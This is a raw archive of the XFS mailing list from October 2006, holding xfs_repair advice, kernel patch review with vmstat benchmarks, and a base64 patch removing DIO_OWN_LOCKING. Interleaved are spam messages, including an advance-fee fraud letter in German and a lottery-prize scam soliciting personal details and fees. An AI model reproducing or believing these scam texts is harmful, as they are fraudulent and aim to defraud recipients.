- check inode connectivity... > - resetting contents of realtime bitmap and summary inodes > - ensuring existence of lost+found directory > - traversing filesystem starting at / ... > rebuilding directory inode 135921969 > rebuilding directory inode 2818581782 > rebuilding directory inode 2550140475 > rebuilding directory inode 268436754 > rebuilding directory inode 402653475 > rebuilding directory inode 939524356 > - traversal finished ... > - traversing all unattached subtrees ... > - traversals finished ... > - moving disconnected inodes to lost+found ... > disconnected dir inode 3221929786, moving to lost+found > Phase 7 - verify and correct link counts... > done > ------------------------------------------------------------------------- > Right now I am copying a 20Gig directory off of the raid onto another > drive with no problems. Does an xfs filesystem need to be repaired on > a regular basis? Ideally, no :-) We don't expect corruption on a regular basis :) > Any ideas on what might be "corrupting" it? No sorry. Some random thoughts: Has the filesystem had any unclean mounts? Like due to power loss? Do you have a "Disabling barriers" msg in your logs for xfs? What were your mkfs and mount parameters, version of linux? Before repairing the filesystem, you can run "xfsrepair -n" to find the errors and then get a better print out of the inodes using "xfs_db -r -c 'inode xxxx' -c 'p' device". --Tim From owner-xfs@oss.sgi.com Wed Oct 11 23:07:45 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 23:08:14 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9C67iaG010892 for ; Wed, 11 Oct 2006 23:07:45 -0700 X-ASG-Debug-ID: 1160628368-22530-985-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from 36AA19C8 (unknown [220.176.43.235]) by cuda.sgi.com (Spam Firewall) with SMTP id E2DF5D193F08 for ; Wed, 11 Oct 2006 21:46:12 -0700 (PDT) Received: from [chlorophyll.144.ok] (cabinetmake-144.asphalt.net [ditto.144]) by amphioxis.automorphism.net (8.12.10/8.12.8) with ESMTP id h9FCGvlb754 212 for ; Thu, 12 Oct 2006 08:42:12 +0300 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" From: "HeathmMclaincnxt@netzero.net" Date: Thu, 12 Oct 2006 09:45:12 +0400 To: xfs@oss.sgi.com X-ASG-Orig-Subj: attempt Subject: attempt X-Mailer: Apple Mail (2.552) X-Barracuda-Spam-Score: 2.95 X-Barracuda-Spam-Status: No, SCORE=2.95 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_SC0_0001b, BSF_SC2_SA022 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23080 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 2.75 BSF_SC0_0001b URI: custom rule SC0_0001b 0.20 BSF_SC2_SA022 Geocities Spam Site X-archive-position: 9269 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: IrenevWigginsh@charter.net Precedence: bulk X-list: xfs Status: O Dear Home Owner, Your crd. rating doesn't matter to us. If you own property and need immediate capital to use any way you want or simply want to cutback your monthly payments by a third or more, fill out this simple, secure one minute form for an instant quote. No sensitive information will be asked on the form Don't worry about acceptance, your cr. will not disqualify you we specialize in all kinds of ratings. http://es.geocities.com/baket648314097/ Regards, Lynn Kraft Approval Manager ________________________________________________ fun stuff: canopy in colorado but calcine may bump some archaic or counselor it carbohydrate the avaricious see assess the brook be circumvention some apologetic it confessor some cromwellian the debtor try brigade or brazier in arden the altogether the derision and bedpost but bumblebee and bookkeep some ado in am and are the boxcar a benz in From owner-xfs@oss.sgi.com Thu Oct 12 00:51:26 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 12 Oct 2006 00:51:48 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9C7pPaG028227 for ; Thu, 12 Oct 2006 00:51:26 -0700 X-ASG-Debug-ID: 1160634330-25704-185-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from h1-mail.rightmove.com (h1-mail.rightmove.com [62.140.207.228]) by cuda.sgi.com (Spam Firewall) with SMTP id 81CDF49886D for ; Wed, 11 Oct 2006 23:25:30 -0700 (PDT) Received: (qmail 20458 invoked by uid 203); 11 Oct 2006 19:18:47 -0000 Date: 11 Oct 2006 19:18:47 -0000 Message-ID: <20061011191847.20457.qmail@h1-mail.rightmove.com> To: MIME-Version: 1.0 From: noresponse@rightmove.com X-ASG-Orig-Subj: Automatic Response RE: Delivery reports about your e-mail Subject: Automatic Response RE: Delivery reports about your e-mail X-Barracuda-Spam-Score: 1.30 X-Barracuda-Spam-Status: No, SCORE=1.30 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=DATE_IN_PAST_06_12, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23088 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.75 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 1097 X-archive-position: 9270 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: noresponse@rightmove.com Precedence: bulk X-list: xfs Status: O RE: Delivery reports about your e-mail Thank you for emailing rightmove.co.uk. This is an automatic response so please do not reply. You have replied to an email that was generated automatically by our website. Our systems send out tens of thousands of emails every day to our users so unfortunately we can not always provide a response to your message. If you were requesting property information, please contact the agent responsible for marketing the property directly. Their contact details will be listed with the property details. Rightmove only advertises property on behalf of member agents; we don't play any other part in the buying or selling process. For more help, please visit one of these links: * http://www.rightmove.co.uk/myemailupdates * http://www.rightmove.co.uk/mydetails * http://www.rightmove.co.uk/aboutus * http://www.rightmove.co.uk/faq If you would like a response, please visit the contact us pages on the website, where you can also find the answers to the commonest questions we are asked. Best wishes Rightmove.co.uk [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Thu Oct 12 05:22:10 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 12 Oct 2006 05:22:21 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9CCM8aG032218 for ; Thu, 12 Oct 2006 05:22:10 -0700 X-ASG-Debug-ID: 1160655685-23662-343-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from tyo202.gate.nec.co.jp (TYO202.gate.nec.co.jp [210.143.35.52]) by cuda.sgi.com (Spam Firewall) with ESMTP id EE626487B7D; Thu, 12 Oct 2006 05:21:25 -0700 (PDT) Received: from mailgate3.nec.co.jp (mailgate53.nec.co.jp [10.7.69.162] (may be forged)) by tyo202.gate.nec.co.jp (8.13.8/8.13.4) with ESMTP id k9CCKXPt016011; Thu, 12 Oct 2006 21:20:33 +0900 (JST) Received: (from root@localhost) by mailgate3.nec.co.jp (8.11.7/3.7W-MAILGATE-NEC) id k9CCKXu17899; Thu, 12 Oct 2006 21:20:33 +0900 (JST) Received: from mailsv.linux.bs1.fc.nec.co.jp (mailsv.linux.bs1.fc.nec.co.jp [10.34.125.2]) by mailsv4.nec.co.jp (8.11.7/3.7W-MAILSV4-NEC) with ESMTP id k9CCKWQ29129; Thu, 12 Oct 2006 21:20:32 +0900 (JST) Received: from [10.34.125.197] (johnny.linux.bs1.fc.nec.co.jp [10.34.125.197]) by mailsv.linux.bs1.fc.nec.co.jp (Postfix) with ESMTP id 54D11E48254; Thu, 12 Oct 2006 21:20:17 +0900 (JST) Message-ID: <452E32FF.8010109@ah.jp.nec.com> Date: Thu, 12 Oct 2006 21:20:15 +0900 From: Takenori Nagano User-Agent: Thunderbird 1.5.0.7 (Windows/20060909) MIME-Version: 1.0 To: David Chinner CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). Subject: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). References: <45237CCE.4010007@ah.jp.nec.com> <20061006032617.GC11034@melbourne.sgi.com> <20061011064357.GN19345@melbourne.sgi.com> In-Reply-To: <20061011064357.GN19345@melbourne.sgi.com> Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23103 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9271 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: t-nagano@ah.jp.nec.com Precedence: bulk X-list: xfs Status: O Hi David, I tried those patches, but they caused degradation. These are results of "vmstat 10" while my test program was running. - Before applying those patches: procs -----------memory---------- ---swap-- -----io---- -system-- -----cpu------ r b swpd free buff cache si so bi bo in cs us sy id wa st 7 0 0 2768240 37632 210512 0 0 7 43367 268 676 1 49 50 0 0 9 0 0 2716352 37632 210672 0 0 0 362864 2154 47915 1 51 48 0 0 9 0 0 2663136 37664 210048 0 0 0 361745 2154 48258 1 50 49 0 0 10 0 0 2610688 37664 211184 0 0 0 360908 2152 48068 1 51 49 0 0 9 0 0 2557904 37680 210512 0 0 0 360254 2154 49036 1 51 48 0 0 10 0 0 2504832 37696 210304 0 0 0 362525 2153 48460 1 50 49 0 0 - After applying those patches: procs -----------memory---------- ---swap-- -----io---- -system-- -----cpu------ r b swpd free buff cache si so bi bo in cs us sy id wa st 0 0 0 15584608 21776 153072 0 0 69 403 256 394 1 3 95 1 0 0 0 0 15586032 21824 153024 0 0 1 2319 2161 2944 0 2 98 0 0 1 0 0 15585920 21824 153104 0 0 0 2342 2161 2951 0 2 98 0 0 0 0 0 15585696 21824 152976 0 0 0 2364 2160 2978 0 2 98 0 0 1 0 0 15585360 21824 153168 0 0 0 2380 2161 3027 0 2 98 0 0 0 0 0 15585248 21824 152976 0 0 0 2348 2161 2983 0 2 98 0 0 Block I/O performance degradation was very serious. Now, I am trying to ease the degradation. Do you have any idea for resolving the degradation? By the way, I found some mistakes in your patch. Please correct them. > > Index: 2.6.x-xfs-new/fs/xfs/xfs_iget.c > > =================================================================== > > --- 2.6.x-xfs-new.orig/fs/xfs/xfs_iget.c 2006-09-14 11:18:52.000000000 > > +1000 > > +++ 2.6.x-xfs-new/fs/xfs/xfs_iget.c 2006-09-14 12:01:04.648209950 +1000 > > @@ -625,7 +617,7 @@ xfs_iput_new(xfs_inode_t *ip, > > vn_trace_entry(vp, "xfs_iput_new", (inst_t *)__return_address); > > > > if ((ip->i_d.di_mode == 0)) { > > - ASSERT(!(ip->i_flags & XFS_IRECLAIMABLE)); > > + ASSERT(!xfs_iflags_test(ip, XFS_IRECLAIMABLE)) { + ASSERT(!xfs_iflags_test(ip, XFS_IRECLAIMABLE)); > > Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.h > > =================================================================== > > --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.h 2006-09-14 11:18:52.000000000 > > +1000 > > +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.h 2006-09-14 12:32:16.395321563 +1000 > > @@ -305,6 +305,47 @@ typedef struct xfs_inode { > > #endif > > } xfs_inode_t; > > > > + > > +/* > > + * i_flags helper functions > > + */ > > +static inline void > > +__xfs_iflags_set(xfs_inode_t *ip, unsigned short flags) > > +{ > > + ip->i_flags |= flags; > > +} > > + > > +static inline void > > +xfs_iflags_set(xfs_inode_t *ip, unsigned short flags) > > +{ > > + spin_lock(&ip->i_flags_lock); > > + __xfs_iflag_set(ip, flags); + __xfs_iflags_set(ip, flags); David Chinner wrote: > On Fri, Oct 06, 2006 at 01:26:17PM +1000, David Chinner wrote: >> I think this is a much better way of fixing the problem, but it needs >> a little tweaking. Also, it indicates that we can probably revert >> some of the previous changes made in attempting to fix this bug. >> I'll put together a new patch with this fix and as much of the >> other fixes removed as possible and run some tests on it here. >> It'l be a day or two before I have a tested patch ready.... > > I've run the attached patch through xfsqa but have not stress tested > it yet. > > Takenori - can you give this a run through your tests to see if > it passes. I expect any races to trigger the BUG_ON statements > in xfs_iunpin(). > > This patch sits on top of iflags locking cleanup I posted here: > > http://oss.sgi.com/archives/xfs/2006-10/msg00014.html > > Cheers, > > Dave. Best Regards, -- Takenori Nagano, NEC t-nagano@ah.jp.nec.com From owner-xfs@oss.sgi.com Thu Oct 12 08:34:52 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 12 Oct 2006 08:35:05 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9CFYoaG025410 for ; Thu, 12 Oct 2006 08:34:52 -0700 X-ASG-Debug-ID: 1160662481-9556-99-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from webmaillogin.com (fr6.webmaillogin.com [216.40.35.70]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0C2CE499C04 for ; Thu, 12 Oct 2006 07:14:41 -0700 (PDT) X-Forwarded: Mail forwarded from Tucows Received: from [83.189.227.74] (account infodesk@bglinfodpt.com) by bk1.webmaillogin.com (CommuniGate Pro WebUser 5.0.9) with HTTP id 53322680; Thu, 12 Oct 2006 10:14:40 -0400 From: X-ASG-Orig-Subj: Dr.Anette Klinsmann Subject: Dr.Anette Klinsmann X-Mailer: CommuniGate Pro WebUser v5.0.9 Date: Thu, 12 Oct 2006 10:14:40 -0400 Message-ID: X-Priority: 3 MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1"; format="flowed" Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.87 X-Barracuda-Spam-Status: No, SCORE=0.87 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MISSING_HEADERS, NO_REAL_NAME, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23109 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.19 MISSING_HEADERS Missing To: header 0.13 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; X-archive-position: 9272 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: infodesk@bglinfodpt.com Precedence: bulk X-list: xfs Status: O Dr.Anette Klinsmann Klins, Estate. 20 Mandela avenue, Cape Town 8001 South Africa Email: anetteklinsmann@aim.com Guten Tag, ich habe Ihre Kontaktadresse von einem vertrauenswürdigen Bekannten erhalten, dessen Namen ich im Moment nicht nennen möchte erhalten.Ich möchte Ihnen ein, für Sie profitables geschäftliches Angebot unterbreiten. Es handelt sich hierbei um den Transfer von 27.5 Millionen US Dollar . Wie Sie sicher verstehen werden, möchte ich Sie hier um äußerste Diskretion bitten. Mein Name ist Dr.Jennifer Hans. Ich bin die Witwe von Herrn. Michael Hans.Ich wurde in Südafrika geboren, meine Großeltern sind jedoch Österreichischer Herkunft. Mein verstorbener Mann hat das Familienunternehmen seiner Eltern geerbt, darunter mehrere Hotels in Südafrika, Warenhäuser und einige Landwirtschaftliche Betriebe. Ich habe diese zusammen mit meinem Mann, bis zu seinem Tod, am 25. April 2002, geführt und verwaltet. Die Hans Familie (Familie meines Mannes) war beteiligt an der Politik in Südafrika, zu Zeiten der Apartheid. Mein Schwiegervater war Mitglied und ranghoher Offizier der Apartheidsregierung unter Premierminister Hendrik Verwoerd. Vielleicht haben Sie von der Geschichte über Südafrika schon gehört. Ich bedauere es sehr, einen Mann geheiratet zu haben, dessen Familie beteiligt war an so viel Ungerechtigkeit und dem unschuldigen Tod vieler Menschen. Aber ich habe ihn geliebt. Mein Schwiegervater war nicht nur verantwortlich für viele Menschenrechtsverletzungen, er verschwor sich mit einigen seiner Kollegen und erschlich sich so Millionen von Rand vom Innenministerium. Er beendete seine Laufbahn als Offizier mit dem Ende der Apartheid und begann sein Kariere als Geschäftsmann. Er investierte und erwirtschaftete in kürzester Zeit ein beträchtliches Vermögen. Nach unserer Hochzeit, übernahm mein Mann die Geschäfte seines Vaters. Sein großer Traum war es jedoch, Politiker zu werden. Er wurde Mitglied der Oppositionspartei, Demokratic Alliance ( DA ) und unterstützte diese auch finanziell. Die regierende Partei ANC (Nelson Mandela) war nicht glücklich über diese Situation, trat an meinen Mann heran und forderte ihn auf, jede finanzielle Unterstützung einzustellen. Er gab jedoch nicht nach. Im März 2002, erschien ein Artikel in der Guardian Newspaper, in dem die Familie meines Mannes, der Zusammenarbeit mit der Apartheidsregierung beschuldigt wurde. Offenbar eine Aktion des ANC, gegen meinen Mann. Am 25. April 2002, um 4 Uhr Morgens, versammelte sich eine Gruppe von Schwarzen vor unserem Haus und versuchte auf das Grundstück zu gelangen. Wir riefen die Polizei, die jedoch sehr lange auf sich warten ließ. Als mein Mann am Fenster stand wurde er von fünf Gewehrkugeln tödlich getroffen. Er starb noch in meinen Armen bevor die Polizei und der Krankenwagen unser Haus erreicht hatten. Zwei Jahre nach dem schrecklichen Ereignis, bin ich immer noch depressiv, mein Herz ist gebrochen und mein Leben schein zerstört. Ich habe sehr viel Angst. Aus diesem Grund habe ich mich entschlossen, das Land, das mir so viel Kummer und Leid gebracht hat zu verlassen. Ich werde gehen und nie wieder zurückkehren. Ich habe das gesamte Erbe meines Mannes veräußert und verfüge nun über eine beträchtliche Summe von 27.5 Mio. US Dollar. Dieses Geld möchte ich nach Europa senden. Hierfür bitte ich um Ihre freundliche Unterstützung. Ich möchte das Geld investieren und würde auch hierfür um Ihre Hilfe bitten. Für diese freundliche Unterstützung möchte ich Ihnen 15% des Geldes zukommen lassen. Ich hoffe auf Ihre baldige Antwort und verbleibe höflichst Dr.Anette Klinsmann Klins Group of Companies Ltd Klins Estate. 20 Mandela Avenue, Cape Town 8001 South Africa PS: Please do reply in English if you do understand Written as well as spoken English perfectly. From owner-xfs@oss.sgi.com Thu Oct 12 12:51:16 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 12 Oct 2006 12:52:05 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9CJpFaG023303 for ; Thu, 12 Oct 2006 12:51:16 -0700 X-ASG-Debug-ID: 1160679138-30724-490-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from vsmtp1.tin.it (vsmtp1.tin.it [212.216.176.141]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7035449715C for ; Thu, 12 Oct 2006 11:52:18 -0700 (PDT) Received: from pswm4.cp.tin.it (192.168.70.20) by vsmtp1.tin.it (7.2.072.1) id 45056C2D00D58BE5; Thu, 12 Oct 2006 20:22:16 +0200 Message-ID: <10e3dc2a55d.shop_lotto1@virgilio.it> Date: Thu, 12 Oct 2006 19:22:16 +0100 (GMT+01:00) From: Reply-To: X-ASG-Orig-Subj: ATTN: Winner. Subject: ATTN: Winner. Mime-Version: 1.0 Content-Type: text/plain;charset="UTF-8" Content-Transfer-Encoding: 7bit X-Originating-IP: 84.77.115.116 X-Barracuda-Spam-Score: 1.37 X-Barracuda-Spam-Status: No, SCORE=1.37 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, FROM_HAS_ULINE_NUMS, MAILTO_TO_SPAM_ADDR, MISSING_HEADERS, NO_REAL_NAME, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23124 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.22 FROM_HAS_ULINE_NUMS From: contains an underline and numbers/letters 0.19 MISSING_HEADERS Missing To: header 0.28 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.13 TO_CC_NONE No To: or Cc: header 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) To: undisclosed-recipients:; X-archive-position: 9273 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: shop_lotto1@virgilio.it Precedence: bulk X-list: xfs Status: O ATTN: Winner. We wish to congratulate you over your email success in our computer balloting sweepstake held on 9th of October 2006. This is a millennium scientific computer game in which email addresses were used. It is a promotional program aimed at encouraging internet users, therefore you do not need to buy ticket to enter for it. You have been approved for the star prize of 150,000.00 Euro.(One Hundred and Fifty Thousand) CONGRATULATIONS!! To claim your winning prize you are to contact the appointed agent as soon as possible for the immediate release of your winnings prize, LIQUIDLUNCH FINANCE AND SECURITIES, S. L Contact Person: Mr. Ahmed Abdalla Tel:+34 696 756 270 Contact Email: AhmedAbdalla11@netscape.net Batch No:SUTO/980/TWM/EU Ticket No: WRNM/SMI/5990 Lucky No: 10-23-44-72-80 Serial No: MUOTI/82536 You must contact the appointed agent with your Full Names, Contact Telephone Numbers (Home, Office and Mobile Number and also Fax Number) via email to process the immediate payment of your prize. Note: You will be require to pay for the issuance of your winning certificate only. The certificate is your legal prove/guarantee which submitted to the bank for the remittance of your fund. The Validity period of the winnings is for 30 working days hence you are expected to make your claims immediately, any claim not made before this date will be returned to the MINISTERIO DE ECONOMIA Y HACIENDA as unclaimed. Once again congratulations !!! Best Regards, Mrs LOLA FRANCO (Group - Coordinator). From owner-xfs@oss.sgi.com Thu Oct 12 17:57:26 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 12 Oct 2006 17:57:33 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9D0vPaG020554 for ; Thu, 12 Oct 2006 17:57:26 -0700 X-ASG-Debug-ID: 1160701002-18877-106-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from slurp.thebarn.com (cattelan-host202.dsl.visi.com [208.42.117.202]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5B0F149B69D for ; Thu, 12 Oct 2006 17:56:42 -0700 (PDT) Received: from [127.0.0.1] (lupo.thebarn.com [10.0.0.10]) (authenticated bits=0) by slurp.thebarn.com (8.13.8/8.13.8) with ESMTP id k9D0ucPC001791; Thu, 12 Oct 2006 19:56:41 -0500 (CDT) (envelope-from cattelan@thebarn.com) X-ASG-Orig-Subj: [PATCH] Remove DIO_OWN_LOCKING Subject: [PATCH] Remove DIO_OWN_LOCKING From: Russell Cattelan To: linux-fsdevel@vger.kernel.org Cc: xfs@oss.sgi.com Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-T+bzAtvc/vPuZMwJaZu2" Date: Thu, 12 Oct 2006 19:56:38 -0500 Message-Id: <1160700998.5723.65.camel@xenon.msp.redhat.com> Mime-Version: 1.0 X-Mailer: Evolution 2.8.0-1mdv2007.0 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23141 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9274 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: xfs Status: O --=-T+bzAtvc/vPuZMwJaZu2 Content-Type: multipart/mixed; boundary="=-U0Z3Kp5ZGershjKcRFxU" --=-U0Z3Kp5ZGershjKcRFxU Content-Type: text/plain Content-Transfer-Encoding: quoted-printable While trying to fix up GFS2 directio and reading through the code involving the various lock flags I discovered the DIO_OWN_LOCKING=20 flag is no longer used. =20 XFS recently changed it xfs_vm_direct_IO function to call blockdev_direct_IO_no_locking for reads and blockdev_direct_IO_own_locking for writes. But DIO_OWN_LOCKING is only used in the direct IO read case so effectively the flag is never checked an therefore can probably be removed. --=20 Russell Cattelan --=-U0Z3Kp5ZGershjKcRFxU Content-Disposition: attachment; filename=wack_own_locking Content-Type: text/x-patch; name=wack_own_locking; charset=UTF-8 Content-Transfer-Encoding: base64 SW5kZXg6IHdvcmtfZ2ZzL2ZzL2RpcmVjdC1pby5jDQo9PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09DQotLS0gd29ya19nZnMub3JpZy9mcy9kaXJlY3QtaW8uYwky MDA2LTEwLTEyIDE4OjAxOjA5LjAwMDAwMDAwMCAtMDUwMA0KKysrIHdvcmtf Z2ZzL2ZzL2RpcmVjdC1pby5jCTIwMDYtMTAtMTIgMTk6NDk6MjYuMzQ4ODQz OTI3IC0wNTAwDQpAQCAtNjcsOSArNjcsNyBAQCBpbnQgZGlvX2RlYnVnID0g MHgwOw0KICAqIGxvY2tfdHlwZSBpcyBESU9fTE9DS0lORyBmb3IgcmVndWxh ciBmaWxlcyBvbiBkaXJlY3QtSU8tbmFpdmUgZmlsZXN5c3RlbXMuDQogICog VGhpcyBkZXRlcm1pbmVzIHdoZXRoZXIgd2UgbmVlZCB0byBkbyB0aGUgZmFu Y3kgbG9ja2luZyB3aGljaCBwcmV2ZW50cw0KICAqIGRpcmVjdC1JTyBmcm9t IGJlaW5nIGFibGUgdG8gcmVhZCB1bmluaXRpYWxpc2VkIGRpc2sgYmxvY2tz LiAgSWYgaXRzIHplcm8NCi0gKiAoYmxvY2tkZXYpIHRoaXMgbG9ja2luZyBp cyBub3QgZG9uZSwgYW5kIGlmIGl0IGlzIERJT19PV05fTE9DS0lORyBpX211 dGV4IGlzDQotICogbm90IGhlbGQgZm9yIHRoZSBlbnRpcmUgZGlyZWN0IHdy aXRlICh0YWtlbiBicmllZmx5LCBpbml0aWFsbHksIGR1cmluZyBhDQotICog ZGlyZWN0IHJlYWQgdGhvdWdoLCBidXQgaXRzIG5ldmVyIGhlbGQgZm9yIHRo ZSBkdXJhdGlvbiBvZiBhIGRpcmVjdC1JTykuDQorICogKGJsb2NrZGV2KSB0 aGlzIGxvY2tpbmcgaXMgbm90IGRvbmUuDQogICovDQogDQogc3RydWN0IGRp byB7DQpAQCAtMTE3OSwxMiArMTE3Nyw2IEBAIGRpcmVjdF9pb193b3JrZXIo aW50IHJ3LCBzdHJ1Y3Qga2lvY2IgKmkNCiAgKiBGb3IgcmVhZHMsIGlfbXV0 ZXggaXMgbm90IGhlbGQgb24gZW50cnksIGJ1dCBpdCBpcyB0YWtlbiBhbmQg ZHJvcHBlZCBiZWZvcmUNCiAgKiByZXR1cm5pbmcuDQogICoNCi0gKiBESU9f T1dOX0xPQ0tJTkcgKGZpbGVzeXN0ZW0gcHJvdmlkZXMgc3luY2hyb25pc2F0 aW9uIGFuZCBoYW5kbGluZyBvZg0KLSAqCXVuaW5pdGlhbGlzZWQgZGF0YSwg YWxsb3dpbmcgcGFyYWxsZWwgZGlyZWN0IHJlYWRlcnMgYW5kIHdyaXRlcnMp DQotICogRm9yIHdyaXRlcyB3ZSBhcmUgY2FsbGVkIHdpdGhvdXQgaV9tdXRl eCwgcmV0dXJuIHdpdGhvdXQgaXQsIG5ldmVyIHRvdWNoIGl0Lg0KLSAqIEZv ciByZWFkcyB3ZSBhcmUgY2FsbGVkIHVuZGVyIGlfbXV0ZXggYW5kIHJldHVy biB3aXRoIGlfbXV0ZXggaGVsZCwgZXZlbg0KLSAqIHRob3VnaCBpdCBtYXkg YmUgaW50ZXJuYWxseSBkcm9wcGVkLg0KLSAqDQogICogQWRkaXRpb25hbCBp X2FsbG9jX3NlbSBsb2NraW5nIHJlcXVpcmVtZW50cyBkZXNjcmliZWQgaW5s aW5lIGJlbG93Lg0KICAqLw0KIHNzaXplX3QNCkBAIC0xMjAyLDggKzExOTQs NiBAQCBfX2Jsb2NrZGV2X2RpcmVjdF9JTyhpbnQgcncsIHN0cnVjdCBraW9j DQogCXNzaXplX3QgcmV0dmFsID0gLUVJTlZBTDsNCiAJbG9mZl90IGVuZCA9 IG9mZnNldDsNCiAJc3RydWN0IGRpbyAqZGlvOw0KLQlpbnQgcmVsZWFzZV9p X211dGV4ID0gMDsNCi0JaW50IGFjcXVpcmVfaV9tdXRleCA9IDA7DQogDQog CWlmIChydyAmIFdSSVRFKQ0KIAkJcncgPSBXUklURV9TWU5DOw0KQEAgLTEy NDQsMzIgKzEyMzQsMjQgQEAgX19ibG9ja2Rldl9kaXJlY3RfSU8oaW50IHJ3 LCBzdHJ1Y3Qga2lvYw0KIAkgKiBGb3IgcmVndWxhciBmaWxlcyB1c2luZyBE SU9fTE9DS0lORywNCiAJICoJcmVhZGVycyBuZWVkIHRvIGdyYWIgaV9tdXRl eCBhbmQgaV9hbGxvY19zZW0NCiAJICoJd3JpdGVycyBuZWVkIHRvIGdyYWIg aV9hbGxvY19zZW0gb25seSAoaV9tdXRleCBpcyBhbHJlYWR5IGhlbGQpDQot CSAqIEZvciByZWd1bGFyIGZpbGVzIHVzaW5nIERJT19PV05fTE9DS0lORywN Ci0JICoJbmVpdGhlciByZWFkZXJzIG5vciB3cml0ZXJzIHRha2UgYW55IGxv 